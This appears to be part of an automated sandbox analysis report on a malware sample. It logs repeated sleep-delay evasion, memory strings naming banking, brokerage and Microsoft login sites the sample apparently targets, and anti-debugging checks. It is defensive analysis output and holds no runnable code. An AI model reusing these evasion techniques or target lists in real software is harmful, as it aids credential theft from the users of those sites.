Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597869	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597530	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596839	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596491	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596388	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596070	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595841	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595371	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595258	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595142	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594918	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594805	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594698	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594586	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594463	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594337	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594234	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594124	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594003	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593708	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593261	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593086	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592951	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592734	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592608	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592433	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592266	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592130	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592016	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 591890	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 591751	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 591609	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599890
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599780
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599670
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599539
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599339
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599219
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599094
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598984
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598875
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598765
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598656
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598547
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598437
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598327
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598218
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598057
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597933
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597816
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597695
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597565
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597438
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597316
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597196
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597023
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596688
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596526
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596352
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596245
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596071
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595927
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595785
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595616
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595402
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595238
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595083
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594956
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594812
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594685
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594560
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594445
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594335
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594226
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594116
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594007
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593897
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593782
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593663
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593554
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593444
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593335
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593226
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593108
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593007
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592897
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592788
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592679
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592569
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592460
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592349
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 592226
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599891
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599779
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599672
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599563
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599453
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599344
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599234
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599125
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 599016
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598906
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598797
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598686
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598578
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598469
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598359
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598250
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598141
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 598016
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597844
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597725
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597588
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597481
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597375
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597266
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597156
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 597047
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596933
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596828
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596719
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596594
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596485
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596360
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596235
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 596110
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595985
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595860
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595735
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595610
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595485
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595360
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595235
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 595110
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594938
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594788
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594672
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594562
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594453
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594344
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594234
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594125
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 594016
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Thread delayed: delay time: 593891

Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: brightness.exe, 00000007.00000002.2129746891.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2129746891.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: jphwmyiA.pif, 0000000A.00000002.3756955168.000000001F2D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^^ W
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Aiymwhpj.PIF, 0000000C.00000002.2250088651.000000000083E000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757186575.000000001A506000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3755893990.0000000020802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Aiymwhpj.PIF, 00000010.00000002.2330117639.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllo
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: jphwmyiA.pif, 00000013.00000002.3761096680.0000000023B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Windows\SysWOW64\brightness.exe	API call chain: ExitProcess graph end node	graph_7-25744
Source: C:\Users\Public\Libraries\jphwmyiA.pif	API call chain: ExitProcess graph end node	graph_10-85857
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\jphwmyiA.pif	API call chain: ExitProcess graph end node

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027CF024 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

7_2_027CF024

Source: C:\Windows\SysWOW64\brightness.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process queried: DebugPort
Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	Process queried: DebugPort

Source: C:\Users\Public\Libraries\jphwmyiA.pif

Code function: 10_2_25037A28 LdrInitializeThunk,

10_2_25037A28

Source: C:\Users\Public\Libraries\jphwmyiA.pif

Code function: 10_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

10_2_0040CE09

Source: C:\Users\Public\Libraries\jphwmyiA.pif

10_2_004019F0

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027C8798 LoadLibraryW,GetProcAddress,FreeLibrary,

7_2_027C8798

Source: C:\Users\Public\Libraries\jphwmyiA.pif

Code function: 10_2_0040ADB0 GetProcessHeap,HeapFree,

10_2_0040ADB0

Source: C:\Users\Public\Libraries\jphwmyiA.pif

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0040CE09
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0040E61C
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00416F6A
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 10_2_004123F1 SetUnhandledExceptionFilter,	10_2_004123F1
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_0040CE09
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 15_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_0040E61C
